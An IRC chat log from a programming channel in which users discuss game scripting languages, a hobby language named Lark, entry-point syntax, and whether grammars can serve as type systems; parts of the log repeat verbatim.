[2015-05-04T00:31:36-0400] <bob_twinkles> have you heard of Limit Theory?
[2015-05-04T00:31:56-0400] <+awe> Yeah, I saw the kickstarter for it.
[2015-05-04T00:32:29-0400] <bob_twinkles> I'm pretty sure the guy who is writing it is insane
[2015-05-04T00:32:41-0400] <bob_twinkles> the rending engine is like AAA quality
[2015-05-04T00:33:12-0400] <bob_twinkles> and almost all the game logic is going to be in "LTSL" which is his own custom Lisp-like thingy
[2015-05-04T00:33:38-0400] <bob_twinkles> everything from the UI/UX specification to the AI is in LTSL
[2015-05-04T00:34:02-0400] <bob_twinkles> he has some pretty neat writeups about it scattered across the forums
[2015-05-04T02:05:43-0400] <LittleBobbyTables> What's the fizzbuzz in lark
[2015-05-04T07:17:40-0400] <JacobEdelman> gmorning all
[2015-05-04T09:26:08-0400] <JacobEdelman> LittleBobbyTables: 
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/Eo9moeTW
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/GTltFfKo
[2015-05-04T09:26:50-0400] <JacobEdelman> (those are dumb ways to do it)
[2015-05-04T09:27:09-0400] <JacobEdelman> (also, no strings yet)
[2015-05-04T09:36:29-0400] <JacobEdelman> wait
[2015-05-04T09:36:34-0400] <JacobEdelman> here's a nicer version:
[2015-05-04T09:36:36-0400] <JacobEdelman> https://www.irccloud.com/pastebin/3QPcrpef
[2015-05-04T10:05:28-0400] <LittleBobbyTables> Those are really ugly
[2015-05-04T10:24:34-0400] <LittleBobbyTables> It's like you're trying to make it a one liner
[2015-05-04T10:24:52-0400] <LittleBobbyTables> But not...
[2015-05-04T10:25:32-0400] <JacobEdelman> support for multiline things yet
[2015-05-04T10:25:44-0400] <JacobEdelman> mainly because I'm not sure how I would want to do it
[2015-05-04T10:32:24-0400] <JacobEdelman> LittleBobbyTables: how about you tell me what the program should look like and I'll change lark's syntax to match
[2015-05-04T10:32:55-0400] <LittleBobbyTables> if $x%15 is 0 FizzBuzz else if $x%5 is 0 Buzz else if $x%3 is 0 Fizz else $x <---
[2015-05-04T10:33:00-0400] <LittleBobbyTables> Just make that multiline
[2015-05-04T10:48:40-0400] <JacobEdelman> okay, that I can do 
[2015-05-04T11:00:28-0400] <JacobEdelman> Hmmm... Trying to figure out exactly how Lark should format stuff
[2015-05-04T11:00:54-0400] <JacobEdelman> What are your guys opinions on main functions?
[2015-05-04T11:57:38-0400] Mode is +nrt
[2015-05-04T12:08:34-0400] <+awe> JacobEdelman: well, either you use a special name, a special keyword, or some sort of annotation.
[2015-05-04T12:09:34-0400] <+awe> JacobEdelman: also, y u no space your operators
[2015-05-04T12:09:47-0400] <+awe> $x%15 looks ridiculous, and also complicated.
[2015-05-04T12:10:13-0400] <+awe> Mostly because my brain doesn't process that as being two operands and an operator.
[2015-05-04T12:16:19-0400] <+awe> bob_twinkles: I just finished reading the Creatures paper. It's excellent.
[2015-05-04T12:31:57-0400] <JacobEdelman> awe: okay, also, but what you mean about the main function i mean should I have it or should I just make it run inlined functions
[2015-05-04T12:32:04-0400] <JacobEdelman> (python vs java)
[2015-05-04T12:32:13-0400] <JacobEdelman> (swap that order)
[2015-05-04T12:32:24-0400] <+awe> Oh, I didn't even think about that option.
[2015-05-04T12:32:36-0400] <+awe> Well, defining an entry point is generally nicer.
[2015-05-04T12:33:01-0400] <JacobEdelman> but , the syntax looks weird
[2015-05-04T12:33:12-0400] <JacobEdelman> and it feels not intuitive at first, that some special function is being run
[2015-05-04T12:33:20-0400] <JacobEdelman> (playing devils advocate)
[2015-05-04T12:37:25-0400] <+awe> Which is why I suggested the other two options.
[2015-05-04T12:37:50-0400] <+awe> Either you have a keyword that declares an entry-point function, or you have an annotation that you add to a function definition that declares it as an entry point.
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[2015-05-04T12:50:58-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-04T00:09:17-0400] <+awe> No, V8.
[2015-05-04T00:09:19-0400] <+awe> As in JS.
[2015-05-04T00:09:28-0400] <bob_twinkles> oh, fonts are hard
[2015-05-04T00:10:21-0400] <bob_twinkles> still, lua is probably the best choice for game scripting since the language was essentially designed from the ground up for that purpose
[2015-05-04T00:29:53-0400] <+awe> Yeah, maybe.
[2015-05-04T00:30:03-0400] <+awe> I don't remember why I wanted JS over Lua.
[2015-05-04T00:31:14-0400] <+awe> I'd probably do Lua or a custom Scheme dialect now.
[2015-05-04T00:31:36-0400] <bob_twinkles> have you heard of Limit Theory?
[2015-05-04T00:31:56-0400] <+awe> Yeah, I saw the kickstarter for it.
[2015-05-04T00:32:29-0400] <bob_twinkles> I'm pretty sure the guy who is writing it is insane
[2015-05-04T00:32:41-0400] <bob_twinkles> the rending engine is like AAA quality
[2015-05-04T00:33:12-0400] <bob_twinkles> and almost all the game logic is going to be in "LTSL" which is his own custom Lisp-like thingy
[2015-05-04T00:33:38-0400] <bob_twinkles> everything from the UI/UX specification to the AI is in LTSL
[2015-05-04T00:34:02-0400] <bob_twinkles> he has some pretty neat writeups about it scattered across the forums
[2015-05-04T02:05:43-0400] <LittleBobbyTables> What's the fizzbuzz in lark
[2015-05-04T07:17:40-0400] <JacobEdelman> gmorning all
[2015-05-04T09:26:08-0400] <JacobEdelman> LittleBobbyTables: 
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/Eo9moeTW
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/GTltFfKo
[2015-05-04T09:26:50-0400] <JacobEdelman> (those are dumb ways to do it)
[2015-05-04T09:27:09-0400] <JacobEdelman> (also, no strings yet)
[2015-05-04T09:36:29-0400] <JacobEdelman> wait
[2015-05-04T09:36:34-0400] <JacobEdelman> here's a nicer version:
[2015-05-04T09:36:36-0400] <JacobEdelman> https://www.irccloud.com/pastebin/3QPcrpef
[2015-05-04T10:05:28-0400] <LittleBobbyTables> Those are really ugly
[2015-05-04T10:24:34-0400] <LittleBobbyTables> It's like you're trying to make it a one liner
[2015-05-04T10:24:52-0400] <LittleBobbyTables> But not...
[2015-05-04T10:25:32-0400] <JacobEdelman> support for multiline things yet
[2015-05-04T10:25:44-0400] <JacobEdelman> mainly because I'm not sure how I would want to do it
[2015-05-04T10:32:24-0400] <JacobEdelman> LittleBobbyTables: how about you tell me what the program should look like and I'll change lark's syntax to match
[2015-05-04T10:32:55-0400] <LittleBobbyTables> if $x%15 is 0 FizzBuzz else if $x%5 is 0 Buzz else if $x%3 is 0 Fizz else $x <---
[2015-05-04T10:33:00-0400] <LittleBobbyTables> Just make that multiline
[2015-05-04T10:48:40-0400] <JacobEdelman> okay, that I can do 
[2015-05-04T11:00:28-0400] <JacobEdelman> Hmmm... Trying to figure out exactly how Lark should format stuff
[2015-05-04T11:00:54-0400] <JacobEdelman> What are your guys opinions on main functions?
[2015-05-04T12:08:34-0400] <+awe> JacobEdelman: well, either you use a special name, a special keyword, or some sort of annotation.
[2015-05-04T12:09:34-0400] <+awe> JacobEdelman: also, y u no space your operators
[2015-05-04T12:09:47-0400] <+awe> $x%15 looks ridiculous, and also complicated.
[2015-05-04T12:10:13-0400] <+awe> Mostly because my brain doesn't process that as being two operands and an operator.
[2015-05-04T12:16:18-0400] <+awe> bob_twinkles: I just finished reading the Creatures paper. It's excellent.
[2015-05-04T12:31:56-0400] <JacobEdelman> awe: okay, also, but what you mean about the main function i mean should I have it or should I just make it run inlined functions
[2015-05-04T12:32:03-0400] <JacobEdelman> (python vs java)
[2015-05-04T12:32:12-0400] <JacobEdelman> (swap that order)
[2015-05-04T12:32:24-0400] <+awe> Oh, I didn't even think about that option.
[2015-05-04T12:32:35-0400] <+awe> Well, defining an entry point is generally nicer.
[2015-05-04T12:33:00-0400] <JacobEdelman> but , the syntax looks weird
[2015-05-04T12:33:12-0400] <JacobEdelman> and it feels not intuitive at first, that some special function is being run
[2015-05-04T12:33:19-0400] <JacobEdelman> (playing devils advocate)
[2015-05-04T12:37:24-0400] <+awe> Which is why I suggested the other two options.
[2015-05-04T12:37:50-0400] <+awe> Either you have a keyword that declares an entry-point function, or you have an annotation that you add to a function definition that declares it as an entry point.
[2015-05-04T12:50:58-0400] Mode is +nrt
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[2015-05-04T13:02:06-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-04T00:09:17-0400] <+awe> No, V8.
[2015-05-04T00:09:19-0400] <+awe> As in JS.
[2015-05-04T00:09:28-0400] <bob_twinkles> oh, fonts are hard
[2015-05-04T00:10:21-0400] <bob_twinkles> still, lua is probably the best choice for game scripting since the language was essentially designed from the ground up for that purpose
[2015-05-04T00:29:53-0400] <+awe> Yeah, maybe.
[2015-05-04T00:30:03-0400] <+awe> I don't remember why I wanted JS over Lua.
[2015-05-04T00:31:14-0400] <+awe> I'd probably do Lua or a custom Scheme dialect now.
[2015-05-04T00:31:36-0400] <bob_twinkles> have you heard of Limit Theory?
[2015-05-04T00:31:56-0400] <+awe> Yeah, I saw the kickstarter for it.
[2015-05-04T00:32:29-0400] <bob_twinkles> I'm pretty sure the guy who is writing it is insane
[2015-05-04T00:32:41-0400] <bob_twinkles> the rending engine is like AAA quality
[2015-05-04T00:33:12-0400] <bob_twinkles> and almost all the game logic is going to be in "LTSL" which is his own custom Lisp-like thingy
[2015-05-04T00:33:38-0400] <bob_twinkles> everything from the UI/UX specification to the AI is in LTSL
[2015-05-04T00:34:02-0400] <bob_twinkles> he has some pretty neat writeups about it scattered across the forums
[2015-05-04T02:05:43-0400] <LittleBobbyTables> What's the fizzbuzz in lark
[2015-05-04T07:17:40-0400] <JacobEdelman> gmorning all
[2015-05-04T09:26:08-0400] <JacobEdelman> LittleBobbyTables: 
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/Eo9moeTW
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/GTltFfKo
[2015-05-04T09:26:50-0400] <JacobEdelman> (those are dumb ways to do it)
[2015-05-04T09:27:09-0400] <JacobEdelman> (also, no strings yet)
[2015-05-04T09:36:29-0400] <JacobEdelman> wait
[2015-05-04T09:36:34-0400] <JacobEdelman> here's a nicer version:
[2015-05-04T09:36:36-0400] <JacobEdelman> https://www.irccloud.com/pastebin/3QPcrpef
[2015-05-04T10:05:28-0400] <LittleBobbyTables> Those are really ugly
[2015-05-04T10:24:34-0400] <LittleBobbyTables> It's like you're trying to make it a one liner
[2015-05-04T10:24:52-0400] <LittleBobbyTables> But not...
[2015-05-04T10:25:32-0400] <JacobEdelman> support for multiline things yet
[2015-05-04T10:25:44-0400] <JacobEdelman> mainly because I'm not sure how I would want to do it
[2015-05-04T10:32:24-0400] <JacobEdelman> LittleBobbyTables: how about you tell me what the program should look like and I'll change lark's syntax to match
[2015-05-04T10:32:55-0400] <LittleBobbyTables> if $x%15 is 0 FizzBuzz else if $x%5 is 0 Buzz else if $x%3 is 0 Fizz else $x <---
[2015-05-04T10:33:00-0400] <LittleBobbyTables> Just make that multiline
[2015-05-04T10:48:40-0400] <JacobEdelman> okay, that I can do 
[2015-05-04T11:00:28-0400] <JacobEdelman> Hmmm... Trying to figure out exactly how Lark should format stuff
[2015-05-04T11:00:54-0400] <JacobEdelman> What are your guys opinions on main functions?
[2015-05-04T12:08:34-0400] <+awe> JacobEdelman: well, either you use a special name, a special keyword, or some sort of annotation.
[2015-05-04T12:09:34-0400] <+awe> JacobEdelman: also, y u no space your operators
[2015-05-04T12:09:47-0400] <+awe> $x%15 looks ridiculous, and also complicated.
[2015-05-04T12:10:13-0400] <+awe> Mostly because my brain doesn't process that as being two operands and an operator.
[2015-05-04T12:16:18-0400] <+awe> bob_twinkles: I just finished reading the Creatures paper. It's excellent.
[2015-05-04T12:31:56-0400] <JacobEdelman> awe: okay, also, but what you mean about the main function i mean should I have it or should I just make it run inlined functions
[2015-05-04T12:32:03-0400] <JacobEdelman> (python vs java)
[2015-05-04T12:32:12-0400] <JacobEdelman> (swap that order)
[2015-05-04T12:32:24-0400] <+awe> Oh, I didn't even think about that option.
[2015-05-04T12:32:35-0400] <+awe> Well, defining an entry point is generally nicer.
[2015-05-04T12:33:00-0400] <JacobEdelman> but , the syntax looks weird
[2015-05-04T12:33:12-0400] <JacobEdelman> and it feels not intuitive at first, that some special function is being run
[2015-05-04T12:33:19-0400] <JacobEdelman> (playing devils advocate)
[2015-05-04T12:37:24-0400] <+awe> Which is why I suggested the other two options.
[2015-05-04T12:37:50-0400] <+awe> Either you have a keyword that declares an entry-point function, or you have an annotation that you add to a function definition that declares it as an entry point.
[2015-05-04T13:02:08-0400] Mode is +nrt
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[2015-05-04T15:09:53-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-04T10:05:28-0400] <LittleBobbyTables> Those are really ugly
[2015-05-04T10:24:34-0400] <LittleBobbyTables> It's like you're trying to make it a one liner
[2015-05-04T10:24:52-0400] <LittleBobbyTables> But not...
[2015-05-04T10:25:32-0400] <JacobEdelman> support for multiline things yet
[2015-05-04T10:25:44-0400] <JacobEdelman> mainly because I'm not sure how I would want to do it
[2015-05-04T10:32:24-0400] <JacobEdelman> LittleBobbyTables: how about you tell me what the program should look like and I'll change lark's syntax to match
[2015-05-04T10:32:55-0400] <LittleBobbyTables> if $x%15 is 0 FizzBuzz else if $x%5 is 0 Buzz else if $x%3 is 0 Fizz else $x <---
[2015-05-04T10:33:00-0400] <LittleBobbyTables> Just make that multiline
[2015-05-04T10:48:40-0400] <JacobEdelman> okay, that I can do 
[2015-05-04T11:00:28-0400] <JacobEdelman> Hmmm... Trying to figure out exactly how Lark should format stuff
[2015-05-04T11:00:54-0400] <JacobEdelman> What are your guys opinions on main functions?
[2015-05-04T12:08:34-0400] <+awe> JacobEdelman: well, either you use a special name, a special keyword, or some sort of annotation.
[2015-05-04T12:09:34-0400] <+awe> JacobEdelman: also, y u no space your operators
[2015-05-04T12:09:47-0400] <+awe> $x%15 looks ridiculous, and also complicated.
[2015-05-04T12:10:13-0400] <+awe> Mostly because my brain doesn't process that as being two operands and an operator.
[2015-05-04T12:16:18-0400] <+awe> bob_twinkles: I just finished reading the Creatures paper. It's excellent.
[2015-05-04T12:31:56-0400] <JacobEdelman> awe: okay, also, but what you mean about the main function i mean should I have it or should I just make it run inlined functions
[2015-05-04T12:32:03-0400] <JacobEdelman> (python vs java)
[2015-05-04T12:32:12-0400] <JacobEdelman> (swap that order)
[2015-05-04T12:32:24-0400] <+awe> Oh, I didn't even think about that option.
[2015-05-04T12:32:35-0400] <+awe> Well, defining an entry point is generally nicer.
[2015-05-04T12:33:00-0400] <JacobEdelman> but , the syntax looks weird
[2015-05-04T12:33:12-0400] <JacobEdelman> and it feels not intuitive at first, that some special function is being run
[2015-05-04T12:33:19-0400] <JacobEdelman> (playing devils advocate)
[2015-05-04T12:37:24-0400] <+awe> Which is why I suggested the other two options.
[2015-05-04T12:37:50-0400] <+awe> Either you have a keyword that declares an entry-point function, or you have an annotation that you add to a function definition that declares it as an entry point.
[2015-05-04T13:50:19-0400] <Hyper> awe: the issue with such a keyword is that you expect keywords to be markers, but you can't really have multiple main functions
[2015-05-04T13:50:30-0400] <Hyper> same with annotations
[2015-05-04T13:50:36-0400] <Hyper> it adds a layer of weird state to them
[2015-05-04T13:50:47-0400] <Hyper> where you need to decide which one is the most official or whatever
[2015-05-04T13:51:09-0400] <Hyper> you can't have the same function with multiple names (modulo overloading, but I'm ignoring that right now)
[2015-05-04T13:55:17-0400] <JacobEdelman> yeah
[2015-05-04T13:55:25-0400] <JacobEdelman> Hyper: so what would you do?
[2015-05-04T13:55:33-0400] <Hyper> JacobEdelman: not sure
[2015-05-04T13:55:38-0400] <JacobEdelman> ideas?
[2015-05-04T13:56:10-0400] <Hyper> I kinda like the python way of informing a file that it is "__main__" and allowing the file to check for that
[2015-05-04T13:56:23-0400] <Hyper> however it's kinda ugly
[2015-05-04T14:16:47-0400] <JacobEdelman> hmm, I like it too
[2015-05-04T14:17:01-0400] <JacobEdelman> and it only has to be ugly for files that provide the main comman line interface
[2015-05-04T14:17:12-0400] <JacobEdelman> most files don't touch it
[2015-05-04T14:18:31-0400] <Hyper> JacobEdelman: lol you open and then immediately close a pull req?
[2015-05-04T14:19:38-0400] <JacobEdelman> realized it may not work
[2015-05-04T14:19:42-0400] <JacobEdelman> it was opened for a few minutes
[2015-05-04T14:19:53-0400] <JacobEdelman> I can't get the install to work but its probably my schools wifi
[2015-05-04T14:29:15-0400] <Hyper> lol
[2015-05-04T14:48:07-0400] <JacobEdelman> Hyper: reopened
[2015-05-04T14:49:39-0400] <JacobEdelman> Hyper: advice
[2015-05-04T14:49:43-0400] <JacobEdelman> change the color of the arrow
[2015-05-04T14:49:47-0400] <JacobEdelman> make the circles more circly
[2015-05-04T14:49:56-0400] <JacobEdelman> make something happen at the end
[2015-05-04T15:09:54-0400] Mode is +nrt
[2015-05-04T15:11:24-0400] <+awe> Hyper: simple: you produce an error saying "multiple entry points"
[2015-05-04T15:14:15-0400] <Hyper> awe: that's kinda ugly though
[2015-05-04T15:14:27-0400] <+awe> I think it's less ugly than a magic function name though.
[2015-05-04T15:14:39-0400] <Hyper> I don't like behavior that is syntatically valid (multiple use of a annotation) to cause errors
[2015-05-04T15:14:53-0400] <+awe> ...?
[2015-05-04T15:15:04-0400] <+awe> f :: a -> b
[2015-05-04T15:15:07-0400] <Hyper> meanwhile, multiple use of a function name (again, excluding overloading) is invalid
[2015-05-04T15:15:10-0400] <+awe> f a = a
[2015-05-04T15:15:16-0400] <+awe> This is syntactically valid but produces an error.
[2015-05-04T15:16:03-0400] <Hyper> that's not valid, because (if I'm reading it right) the syntax given takes an a and produces a b, which is not the case
[2015-05-04T15:16:13-0400] <+awe> That's not what syntax is.
[2015-05-04T15:16:18-0400] <Hyper> I mean it comes down a bit to opinion and some semantics
[2015-05-04T15:16:22-0400] <+awe> Syntactically valid means it parses.
[2015-05-04T15:16:36-0400] <Hyper> ok that's not quite what I mean
[2015-05-04T15:16:42-0400] <kenzierocks> you want valid code
[2015-05-04T15:16:46-0400] <Hyper> I mean it makes sense to a human reading your shit
[2015-05-04T15:16:53-0400] <+awe> It's not valid code because the types don't match.
[2015-05-04T15:17:02-0400] <kenzierocks> *cough* php *cough*
[2015-05-04T15:17:02-0400] <Hyper> ok
[2015-05-04T15:17:24-0400] <+awe> That's an error being produced on syntactically valid code because the code fails some other set of tests (that is: type verification).
[2015-05-04T15:17:29-0400] <+awe> I see no difference for other annotations.
[2015-05-04T15:17:33-0400] <Hyper> what i'm trying to say is something like @main f(){}....... @main g(){} isn't as obviously an error
[2015-05-04T15:17:38-0400] <+awe> Sure it is.
[2015-05-04T15:17:51-0400] <Hyper> not if they're far away
[2015-05-04T15:17:54-0400] <+awe> The semantics of that annotation define it as being necessarily unique.
[2015-05-04T15:17:58-0400] <+awe> You can even have a lint for that.
[2015-05-04T15:18:00-0400] <Hyper> assume the ....... spans many files
[2015-05-04T15:18:15-0400] <+awe> Type errors can be many files away from the type declarations.
[2015-05-04T15:18:47-0400] <+awe> I don't see how this is an issue if before the code is even run it says "Hey, you have multiple entry points!"
[2015-05-04T15:19:00-0400] <Hyper> gah I can't have this argument while my internet is so spotty
[2015-05-04T15:19:11-0400] <+awe> You don't need to necessarily notice that you did it twice because your compiler will tell you.
[2015-05-04T15:19:20-0400] <Hyper> but what I'm trying to say is that I think one behavior is more obvious just reading the code than the other
[2015-05-04T15:19:46-0400] <+awe> It's not necessarily obvious that you have your types wrong when you're using a function from somewhere else.
[2015-05-04T15:19:56-0400] <+awe> The reason it's obvious is because the compiler tells you.
[2015-05-04T15:20:06-0400] <+awe> If it was obvious in its own, we wouldn't need type checking.
[2015-05-04T15:20:14-0400] <+awe> We could all use Python.
[2015-05-04T15:20:48-0400] <Hyper> fair enough
[2015-05-04T15:21:42-0400] <+awe> That being said: multiple entry points in an interpreted language would definitely be more confusing.
[2015-05-04T15:21:58-0400] <+awe> Unless your interpreter does some basic linting first.
[2015-05-04T15:22:01-0400] <fwilson> http://tecadmin.net/wp-content/uploads/2013/12/linux-with-java.png
[2015-05-04T15:22:02-0400] <+awe> Which would actually be pretty cool.
[2015-05-04T15:22:10-0400] <+awe> fwilson: u wot m8
[2015-05-04T15:22:14-0400] <fwilson> awe: pretty dank
[2015-05-04T15:23:11-0400] <+awe> In fact, why don't most interpreted languages do any sort of linting?
[2015-05-04T15:23:59-0400] <Hyper> awe: linting isn't a requirement for the language running and is a pretty good sign of feature bloat in the interpreter xP
[2015-05-04T15:24:31-0400] <+awe> It's not a requirement, but an interpreter that says "Hey, this is probably broken." is cooler than one that chugs along.
[2015-05-04T15:24:57-0400] <Hyper> awe: leave that to a separate tool
[2015-05-04T15:25:19-0400] <Hyper> there's no reason to maintain that as part of an interpreter
[2015-05-04T15:25:22-0400] <Hyper> they're complex enough as it
[2015-05-04T15:25:23-0400] <Hyper> is*
[2015-05-04T15:26:33-0400] <JacobEdelman> actually
[2015-05-04T15:26:48-0400] <JacobEdelman> type correctness and syntax can be thought of as the same thing
[2015-05-04T15:26:58-0400] <+awe> No, they can't.
[2015-05-04T15:27:02-0400] <JacobEdelman> yes, they can
[2015-05-04T15:27:05-0400] <+awe> A formal type system exists outside of a programming language.
[2015-05-04T15:27:34-0400] <JacobEdelman> the type of each function is the nonterminal it is mapped too
[2015-05-04T15:27:42-0400] <JacobEdelman> awe: it doesn't have too
[2015-05-04T15:27:45-0400] <+awe> Yes.
[2015-05-04T15:27:47-0400] <+awe> It literally does.
[2015-05-04T15:27:52-0400] <+awe> That's the definition of a formal type system.
[2015-05-04T15:27:53-0400] <JacobEdelman> no, it literally doesn't
[2015-05-04T15:28:02-0400] <JacobEdelman> I mean, I thinkwe have different ideas
[2015-05-04T15:28:18-0400] <JacobEdelman> what do you mean by "outside of a programming language"
[2015-05-04T15:28:36-0400] <+awe> It is a semantic level above the language.
[2015-05-04T15:28:46-0400] <JacobEdelman> okay, so that is possible 
[2015-05-04T15:28:53-0400] <JacobEdelman> when you are creating the syntax of a language
[2015-05-04T15:28:55-0400] <JacobEdelman> the grammar
[2015-05-04T15:29:02-0400] <JacobEdelman> you often times have different nonterminals
[2015-05-04T15:29:21-0400] <JacobEdelman> https://github.com/Hardmath123/nearley/blob/master/examples/javascript.ne
[2015-05-04T15:29:48-0400] <JacobEdelman> now, you can make it so f:: a->
[2015-05-04T15:29:50-0400] <JacobEdelman> now, you can make it so f:: a->b
[2015-05-04T15:29:57-0400] <JacobEdelman> is equivlent to saying (in your grammar)
[2015-05-04T15:30:04-0400] <JacobEdelman> b = "f" a
[2015-05-04T15:30:14-0400] <JacobEdelman> where b and a represent types
[2015-05-04T15:30:19-0400] <+awe> That's not a type system.
[2015-05-04T15:30:27-0400] <JacobEdelman> this will both parse your language, and only compile if the types are correct
[2015-05-04T15:30:35-0400] <+awe> A formal type system cannot exist in a grammar by definition.
[2015-05-04T15:30:39-0400] <JacobEdelman> I disagree
[2015-05-04T15:30:44-0400] <JacobEdelman> whats the definition?
[2015-05-04T15:30:47-0400] <fwilson> a formal type system?
[2015-05-04T15:30:48-0400] <JacobEdelman> I still don't understand it
[2015-05-04T15:30:49-0400] <fwilson> no
[2015-05-04T15:30:50-0400] <fwilson> that's not how grammars work
[2015-05-04T15:30:58-0400] <fwilson> the grammar contains the syntax elements of your language
[2015-05-04T15:31:03-0400] <+awe> Read a book about type systems then.
[2015-05-04T15:31:06-0400] <fwilson> syntax may be the syntax of a type definition
[2015-05-04T15:31:10-0400] <fwilson> but it is not the type definition itself
[2015-05-04T15:31:13-0400] <+awe> I linked you a book about type systems.
[2015-05-04T15:31:38-0400] <JacobEdelman> fwilson: please, while you can tell me thats not how type systems work (I know a reasonably small amount about them), I know a lot about how grammar works
[2015-05-04T15:31:39-0400] <JacobEdelman> a lot
[2015-05-04T15:32:14-0400] <+awe> fwilson: It doesn't seem to be the case that you understand what he's saying.
[2015-05-04T15:32:18-0400] <fwilson> awe: i didn't read context
[2015-05-04T15:32:21-0400] <fwilson> so that's entirely possible
[2015-05-04T15:32:25-0400] <fwilson> oh i see
[2015-05-04T15:32:27-0400] <fwilson> JacobEdelman: carry on
[2015-05-04T15:32:28-0400] <+awe> fwilson: He's not saying that type annotations are the same as a type system.
[2015-05-04T15:32:38-0400] <fwilson> yeah i'm dumb
[2015-05-04T15:32:42-0400] <fwilson> i should read things before responding to them
[2015-05-04T15:32:48-0400] <+awe> fwilson: He's trying to argue that using different aspects of your grammar as a sort of "type" is legitimate.
[2015-05-04T15:33:04-0400] <fwilson> o
[2015-05-04T15:33:08-0400] <fwilson> but
[2015-05-04T15:33:11-0400] <fwilson> no :(
[2015-05-04T15:33:21-0400] <JacobEdelman> https://books.google.com/books?id=IgPwWOWxIr8C&pg=PA375&lpg=PA375&dq=context+free+grammar+as+type+system&source=bl&ots=Gv1a4jLXVr&sig=XvI_iPSV7_zOmg-wttIAgrFDHhM&hl=en&sa=X&ei=W8lHVYekOqjisAT7koCQCg&ved=0CEUQ6AEwBg#v=onepage&q=context free grammar as type system&f=false
[2015-05-04T15:33:24-0400] <JacobEdelman> oops
[2015-05-04T15:33:26-0400] <JacobEdelman> wait
[2015-05-04T15:33:37-0400] <JacobEdelman> https://books.google.com/books?id=IgPwWOWxIr8C&pg=PA375&lpg=PA375&dq=context+free+grammar+as+type+system&source=bl&ots=Gv1a4jLXVr&sig=XvI_iPSV7_zOmg-wttIAgrFDHhM&hl=en&sa=X&ei=W8lHVYekOqjisAT7koCQCg&ved=0CEUQ6AEwBg#v=onepage&q=context+free+grammar+as+type+system&f=false
[2015-05-04T15:33:39-0400] <JacobEdelman> there
[2015-05-04T15:33:50-0400] <+awe> http://cs.brown.edu/~sk/Publications/Books/ProgLangs/2007-04-26/plai-2007-04-26.pdf Chapter 24 and 25.
[2015-05-04T15:33:53-0400] <JacobEdelman> or https://books.google.com/books?id=IgPwWOWxIr8C&lpg=PA375&ots=Gv1a4jLXVr&dq=context%20free%20grammar%20as%20type%20system&pg=PA375#v=onepage&q=context%20free%20grammar%20as%20type%20system&f=false
[2015-05-04T15:33:59-0400] <JacobEdelman> my link is rather short
[2015-05-04T15:34:03-0400] <JacobEdelman> just look at the highlighted stuff
[2015-05-04T15:34:18-0400] <JacobEdelman> part of it talks about the effective equivlency of grammar and type systems
[2015-05-04T15:34:54-0400] <+awe> Yes, a small subset of people in the PL world consider that a type system.
[2015-05-04T15:35:13-0400] <+awe> However, in general, that would not be considered a formal type system by most PL folks.
[2015-05-04T15:35:33-0400] <JacobEdelman> wait
[2015-05-04T15:35:38-0400] <JacobEdelman> I'm saying there is a strong equivlency
[2015-05-04T15:36:08-0400] <JacobEdelman> you can represent simply typed lambda calculus functions with a context-free grammar
[2015-05-04T15:36:22-0400] <JacobEdelman> and use that to discuss inference and such
[2015-05-04T15:36:32-0400] <JacobEdelman> in fact, unification comes from rewriting I think
[2015-05-04T15:36:51-0400] <JacobEdelman> for higher types, and kinds and such, you would need something more powerful
[2015-05-04T15:37:04-0400] <+awe> [15:26:48]  <JacobEdelman>	type correctness and syntax can be thought of as the same thing
[2015-05-04T15:37:12-0400] <JacobEdelman> a context sensitive grammar (maybe a free-grammar or whatever its called), can work
[2015-05-04T15:37:16-0400] <JacobEdelman> yes, that is what I said
[2015-05-04T15:37:21-0400] <+awe> That is wrong.
[2015-05-04T15:37:30-0400] <JacobEdelman> they "can be though of"
[2015-05-04T15:37:43-0400] <+awe> You basically just said that a CFG can sometimes simulate some simple type system.
[2015-05-04T15:37:49-0400] <JacobEdelman> no
[2015-05-04T15:37:52-0400] <JacobEdelman> CFG can always do so
[2015-05-04T15:38:06-0400] <+awe> But it cannot actually _be_ a type system.
[2015-05-04T15:38:08-0400] <JacobEdelman> and a more powerful grammar can do more
[2015-05-04T15:38:16-0400] <JacobEdelman> uhg, lemme say this
[2015-05-04T15:38:21-0400] <+awe> You just said so.
[2015-05-04T15:38:24-0400] <+awe> [15:36:51]  <JacobEdelman>	for higher types, and kinds and such, you would need something more powerful
[2015-05-04T15:38:24-0400] <JacobEdelman> (which is the initial idea)
[2015-05-04T15:38:29-0400] <+awe> That more powerful thing is a type system.
[2015-05-04T15:38:32-0400] <JacobEdelman> nah
[2015-05-04T15:38:43-0400] <JacobEdelman> I meant a free-grammar
[2015-05-04T15:38:46-0400] <JacobEdelman> or whatever its called
[2015-05-04T15:39:13-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Unrestricted_grammar
[2015-05-04T15:39:16-0400] <JacobEdelman> thats it
[2015-05-04T15:39:20-0400] <JacobEdelman> that does dependent types and all
[2015-05-04T15:39:23-0400] <JacobEdelman> effectivel
[2015-05-04T15:39:32-0400] <JacobEdelman> but to phrase what my initial thought was
[2015-05-04T15:39:58-0400] <JacobEdelman> if you so choose, your parser can be built so as to only parse correctly typed programs
[2015-05-04T15:40:19-0400] <+awe> Sure, but that's a horrifying way to do types.
[2015-05-04T15:40:20-0400] <JacobEdelman> i considered doing this with lark
[2015-05-04T15:40:23-0400] <JacobEdelman> but decided against it
[2015-05-04T15:40:30-0400] <JacobEdelman> no, its really not
[2015-05-04T15:40:32-0400] <JacobEdelman> its a really nice way
[2015-05-04T15:40:38-0400] <+awe> Go implement it.
[2015-05-04T15:40:41-0400] <+awe> You'll see why it's not nice
[2015-05-04T15:40:42-0400] <JacobEdelman> ?
[2015-05-04T15:40:55-0400] <+awe> Actually try it.
[2015-05-04T15:40:58-0400] <JacobEdelman> umm, it would take me a few hours with lark
[2015-05-04T15:41:01-0400] <+awe> Okay, go do that.
[2015-05-04T15:41:04-0400] <JacobEdelman> no
[2015-05-04T15:41:06-0400] <JacobEdelman> I'm too lazy
[2015-05-04T15:41:10-0400] <JacobEdelman> its really simple though
